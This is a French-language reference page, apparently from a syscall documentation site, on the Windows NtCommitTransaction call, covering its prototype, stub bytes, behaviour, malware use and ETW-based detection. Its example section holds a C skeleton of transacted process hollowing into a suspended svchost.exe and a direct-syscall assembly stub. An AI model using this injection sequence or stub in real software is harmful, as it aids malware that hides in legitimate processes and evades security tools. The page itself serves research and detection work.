NtCommitTransaction

Prototype

NTSTATUS NtCommitTransaction(
  HANDLE  TransactionHandle,
  BOOLEAN Wait
);

Arguments

IDs de syscalls par version de Windows

Stub du syscall

4C 8B D1            mov r10, rcx
B8 9D 00 00 00      mov eax, 0x9D      ; Win11 24H2 SSN
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notes non documentées

Pilote le protocole de commit en deux phases sur tous les Resource Managers enrôlés dans la transaction (généralement seulement TxF). Avec `Wait = TRUE`, l'appel ne retourne qu'une fois le record de commit flushé dans le log CLFS — à ce moment les changements sont cohérents en cas de crash. Avec `Wait = FALSE`, le retour est `STATUS_PENDING` et l'appelant peut attendre sur le handle de transaction.

Usage courant par les malwares

Dans le **Transacted Hollowing** (cousin du Doppelgänging documenté par Hasherezade & enSilo), `NtCommitTransaction` remplace `NtRollbackTransaction` à la fin de la chaîne : les octets malveillants sont *conservés* sur disque sous un nom anodin, puis injectés via process hollowing dans une cible légitime. La technique sert aussi à certains droppers pour échanger atomiquement une chaîne de fichiers (DLL + INI + XML de tâche planifiée) afin qu'un scanner EDR ne puisse pas capturer d'état intermédiaire incohérent. Pour le Doppelgänging strict enSilo, le commit n'est *pas* appelé — mais les défenseurs doivent quand même considérer comme suspect tout commit d'un exécutable récemment écrit, surtout si l'écrivain n'est pas le processus d'installation standard.

Opportunités de détection

L'event ETW `Microsoft-Windows-Kernel-File` ID 30 porte `TransactionToken` et `FileObject` ; corréler le commit avec les `NtWriteFile` précédents sur la même transaction permet de reconstruire les octets validés. Les EDR maintenant un shadow buffer par transaction peuvent hacher le payload au moment du commit et l'envoyer à un service de réputation. Sysmon Event 11 (FileCreate) se déclenche lors de la *première écriture* du fichier transactionnel, pas au commit ; la détection du commit passe donc par la voie ETW.

Exemples de syscalls directs

// Transacted Hollowing variant: commit, then hollow.
NTSTATUS s = NtCommitTransaction(hTransaction, /*Wait=*/ TRUE);
if (!NT_SUCCESS(s)) return s;

// Section now backed by committed payload on disk.
HANDLE hSection;
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0,
                PAGE_READONLY, SEC_IMAGE, hTransactedFile);

// Map the section into a suspended target and patch entry point.
CreateProcessW(L"C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL,
               FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
NtUnmapViewOfSection(pi.hProcess, baseAddr);
NtMapViewOfSection(hSection, pi.hProcess, &newBase, 0, 0, NULL,
                   &viewSize, ViewShare, 0, PAGE_EXECUTE_READ);
ResumeThread(pi.hThread);

; NtCommitTransaction direct stub — SSN 0x9D on Win11 24H2
NtCommitTransaction PROC
    mov  r10, rcx
    mov  eax, 9Dh
    syscall
    ret
NtCommitTransaction ENDP

use ntapi::ntxcapi::NtCommitTransaction;
use winapi::shared::ntdef::{HANDLE, TRUE as NT_TRUE};

unsafe fn commit(tx: HANDLE) {
    let status = NtCommitTransaction(tx, NT_TRUE as _);
    assert!(status >= 0, "commit failed: 0x{:X}", status);
}

Mappings MITRE ATT&CK

• T1055.013Process Doppelgängingmitre ↗
• T1055.012Process Hollowingmitre ↗
• T1106Native APImitre ↗